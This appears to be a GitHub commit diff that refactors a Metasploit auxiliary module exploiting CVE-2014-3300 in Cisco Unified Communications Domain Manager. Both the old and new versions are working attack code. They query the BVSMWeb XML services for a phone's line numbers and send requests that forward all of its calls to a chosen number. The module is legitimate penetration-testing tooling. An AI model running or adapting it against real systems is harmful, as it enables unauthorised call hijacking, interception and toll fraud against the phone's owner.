1
1
##
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -12,110 +12,116 @@ class Metasploit3 < Msf::Auxiliary
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
14
15
- def initialize ( info = { } )
16
- super (
17
- 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool' ,
18
- 'Description' => %q{
19
- The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager (CDM)
20
- in Unified CDM Application Software before 10 does not properly implement access control,
21
- which allows remote attackers to modify user information. This vulnerability can be exploited
22
- for unauthorised call forwarding using this module. This tool can be tested with the fake
23
- voss-xmlservice component of Viproy.
24
- } ,
25
- 'Author' => 'fozavci' ,
26
- 'References' =>
27
- [
28
- [ 'CVE' , '2014-3300' ] ,
29
- [ 'BID' , '68331' ] ,
30
- [ 'Viproy Fake CUCDM Service' , 'https://github.com/fozavci/viproy-voipkit/raw/master/external/voss-xmlservice.rb' ]
31
- ] ,
32
- 'License' => MSF_LICENSE ,
33
- 'Actions' =>
34
- [
35
- [ 'Forward' , {
36
- 'Description' => 'Enabling the call forwarding for the MAC address.'
37
- } ] ,
38
- [ 'Info' , {
39
- 'Description' => 'Retrieving the call forwarding information for the MAC address.'
40
- } ]
41
- ] ,
42
- 'DefaultAction' => 'Info'
43
-
44
- )
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
+ 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool' ,
18
+ 'Description' => %q{
19
+ The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager (CDM)
20
+ in Unified CDM Application Software before 10 does not properly implement access control,
21
+ which allows remote attackers to modify user information. This vulnerability can be exploited
22
+ for unauthorised call forwarding using this module. This tool can be tested with the fake
23
+ voss-xmlservice component of Viproy.
24
+ } ,
25
+ 'Author' => 'fozavci' ,
26
+ 'References' =>
27
+ [
28
+ [ 'CVE' , '2014-3300' ] ,
29
+ [ 'BID' , '68331' ]
30
+ ] ,
31
+ 'License' => MSF_LICENSE ,
32
+ 'Actions' =>
33
+ [
34
+ [ 'Forward' , { 'Description' => 'Enabling the call forwarding for the MAC address.' } ] ,
35
+ [ 'Info' , { 'Description' => 'Retrieving the call forwarding information for the MAC address.' } ]
36
+ ] ,
37
+ 'DefaultAction' => 'Info'
38
+ ) )
45
39
46
40
register_options (
47
- [
48
- OptString . new ( 'TARGETURI' , [ true , 'Target URI for XML services' , '/bvsmweb' ] ) ,
49
- OptString . new ( 'MAC' , [ true , 'MAC Address of target phone' , '000000000000' ] ) ,
50
- OptString . new ( 'FORWARDTO' , [ true , 'Number to forward all calls' , '007' ] ) ,
51
- OptString . new ( 'FINTNUMBER' , [ false , 'FINTNUMBER of IP Phones, required for multiple lines' , '' ] ) ,
52
- ] , self . class )
41
+ [
42
+ OptString . new ( 'TARGETURI' , [ true , 'Target URI for XML services' , '/bvsmweb' ] ) ,
43
+ OptString . new ( 'MAC' , [ true , 'MAC Address of target phone' , '000000000000' ] ) ,
44
+ OptString . new ( 'FORWARDTO' , [ true , 'Number to forward all calls' , '007' ] ) ,
45
+ OptString . new ( 'FINTNUMBER' , [ false , 'FINTNUMBER of IP Phones, required for multiple lines' ] )
46
+ ] , self . class )
53
47
end
54
48
55
49
def run
56
50
uri = normalize_uri ( target_uri . to_s )
57
51
mac = Rex ::Text . uri_encode ( datastore [ "MAC" ] )
58
52
forward_to = Rex ::Text . uri_encode ( datastore [ "FORWARDTO" ] )
59
53
60
-
61
- print_status ( "Getting fintnumbers and display names of the IP phone" )
62
-
63
- uri_show = normalize_uri ( uri +"/showcallfwd.cgi?device=SEP#{ mac } " )
64
- vprint_status ( "URL: " +uri_show )
54
+ print_status ( "#{ peer } - Getting fintnumbers and display names of the IP phone" )
65
55
66
56
res = send_request_cgi (
67
57
{
68
- 'uri' => uri_show ,
58
+ 'uri' => normalize_uri ( uri , 'showcallfwd.cgi' ) ,
69
59
'method' => 'GET' ,
60
+ 'vars_get' => {
61
+ 'device' => "SEP#{ mac } "
62
+ }
70
63
} )
71
64
72
- if res and res . code == 200 and res . body =~ /fintnumber/
73
- doc = REXML ::Document . new ( res . body )
74
- lines = [ ]
75
- fintnumbers = [ ]
65
+ unless res && res . code == 200 && res . body && res . body . to_s =~ /fintnumber/
66
+ print_error ( "#{ peer } - Target appears not vulnerable!" )
67
+ return
68
+ end
69
+
70
+ doc = REXML ::Document . new ( res . body )
71
+ lines = [ ]
72
+ fint_numbers = [ ]
76
73
77
- list = doc . root . get_elements ( "MenuItem" )
78
- list . each { |lst |
79
- xlist = lst . get_elements ( "Name" )
80
- xlist . each { |l | lines << "#{ l [ 0 ] } " }
81
- xlist = lst . get_elements ( "URL" )
82
- xlist . each { |l | fintnumbers << "#{ l [ 0 ] . to_s . split ( "fintnumber=" ) [ 1 ] } " }
83
- }
84
- lines . size . times { |i | print_status ( "Display Name: " +lines [ i ] +"\t " +"Fintnumber: " +fintnumbers [ i ] ) }
74
+ list = doc . root . get_elements ( 'MenuItem' )
85
75
86
- # for a specific FINTNUMBER redirection
87
- fintnumbers = [ datastore [ "FINTNUMBER" ] ] if [ datastore [ "FINTNUMBER" ] ]
76
+ list . each do |lst |
77
+ xlist = lst . get_elements ( 'Name' )
78
+ xlist . each { |l | lines << "#{ l [ 0 ] } " }
79
+ xlist = lst . get_elements ( 'URL' )
80
+ xlist . each { |l | fint_numbers << "#{ l [ 0 ] . to_s . split ( 'fintnumber=' ) [ 1 ] } " }
81
+ end
88
82
89
- if action . name . upcase == "FORWARD"
90
- fintnumbers . each { |fintnumber |
83
+ lines . size . times do |i |
84
+ print_status ( "#{ peer } - Display Name: #{ lines [ i ] } , Fintnumber: #{ fint_numbers [ i ] } " )
85
+ end
91
86
92
- print_status ( "Sending call forward request for #{ fintnumber } " )
87
+ # for a specific FINTNUMBER redirection
88
+ fint_numbers = [ datastore [ 'FINTNUMBER' ] ] if datastore [ 'FINTNUMBER' ]
93
89
94
- uri_fwd = normalize_uri ( uri +"/phonecallfwd.cgi?cfoption=CallForwardAll&device=SEP#{ mac } &ProviderName=NULL&fintnumber=#{ fintnumber } &telno1=#{ forward_to } " )
95
- vprint_status ( "URL: " +uri_fwd )
96
- res = send_request_cgi (
97
- {
98
- 'uri' => uri_fwd ,
99
- 'method' => 'GET' ,
100
- } )
90
+ if action . name . upcase == "FORWARD"
91
+ fint_numbers . each do |fintnumber |
101
92
102
- uri_fwdpln = normalize_uri ( uri +"/showcallfwdperline.cgi?device=SEP#{ mac } &fintnumber=#{ fintnumber } " )
103
- vprint_status ( "URL: " +uri_fwdpln )
104
- res = send_request_cgi (
105
- {
106
- 'uri' => uri_fwdpln ,
107
- 'method' => 'GET' ,
108
- } )
93
+ print_status ( "#{ peer } - Sending call forward request for #{ fintnumber } " )
109
94
110
- if res and res . body and res . body . to_s =~ /CFA/
111
- print_good ( "Call forwarded successfully for #{ fintnumber } " )
95
+ send_request_cgi (
96
+ {
97
+ 'uri' => normalize_uri ( uri , 'phonecallfwd.cgi' ) ,
98
+ 'method' => 'GET' ,
99
+ 'vars_get' => {
100
+ 'cfoption' => 'CallForwardAll' ,
101
+ 'device' => "SEP#{ mac } " ,
102
+ 'ProviderName' => 'NULL' ,
103
+ 'fintnumber' => "#{ fintnumber } " ,
104
+ 'telno1' => "#{ forward_to } "
105
+ }
106
+ } )
107
+
108
+ res = send_request_cgi (
109
+ {
110
+ 'uri' => normalize_uri ( uri , 'showcallfwdperline.cgi' ) ,
111
+ 'method' => 'GET' ,
112
+ 'vars_get' => {
113
+ 'device' => "SEP#{ mac } " ,
114
+ 'fintnumber' => "#{ fintnumber } "
115
+ }
116
+ } )
117
+
118
+ if res && res . body && res . body && res . body . to_s =~ /CFA/
119
+ print_good ( "#{ peer } - Call forwarded successfully for #{ fintnumber } " )
112
120
else
113
- print_status ( "Call forward failed." )
121
+ print_status ( "#{ peer } - Call forward failed." )
114
122
end
115
- }
116
123
end
117
- else
118
- print_error ( "Target appears not vulnerable!" )
119
124
end
120
125
end
126
+
121
127
end
0 commit comments